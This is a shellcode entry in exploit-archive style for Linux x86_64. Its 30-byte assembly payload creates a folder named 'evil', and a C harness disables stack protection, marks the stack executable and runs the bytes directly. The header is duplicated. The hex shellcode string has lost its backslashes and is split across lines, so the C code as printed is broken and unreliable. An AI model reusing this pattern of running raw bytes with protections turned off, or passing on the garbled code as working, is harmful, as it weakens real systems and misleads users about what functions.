/*
;Title: Linux/x86_64 - mkdir() shellcode (30 bytes)
;Author: Touhid M.Shaikh
;Contact: *https://github.com/touhidshaikh
<https://github.com/touhidshaikh>*
;Title: Linux/x86_64 - mkdir() shellcode (30 bytes)
;Author: Touhid M.Shaikh
;Contact: *https://github.com/touhidshaikh
<https://github.com/touhidshaikh>*
;Category: Shellcode
;Architecture: Linux x86_64
;Description: Create Folder with 755 permission.
; You can Change folder by change code in ASM in fname Field
;Shellcode Length: 30
;Tested on : Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux



===== COMPILATION AND EXECUTION Assemmbly file =====

#nasm -f elf64 shell.asm -o shell.o <=== Making Object File

#ld shell.o -o shell <=== Making Binary File

#./bin2shell.sh shell <== xtract hex code from the binary
(https://github.com/touhidshaikh/bin2shell)

=================SHELLCODE(INTEL FORMAT)=================

section .text
global _start
_start:
jmp folder
main:
xor rax,rax
pop rdi
mov si,0x1ef ;<--- Set Permission
add al,83
syscall

xor rax,rax
add al,60
syscall
folder:
call main
fname db "evil" ;<---Change Folder Name Here


=======================END HERE============================

====================FOR C Compile===========================

Compile with gcc with some options.

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing

*/

#include<stdio.h>
#include<string.h>


unsigned char code[] = "xebx13x48x31xc0x5fx66
xbexefx01x04x53x0fx05x48x31xc0x04x3cx0fx05
xe8xe8xffxffxffx65x76x69x6c";

main()
{

printf("Shellcode Length: %d ", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}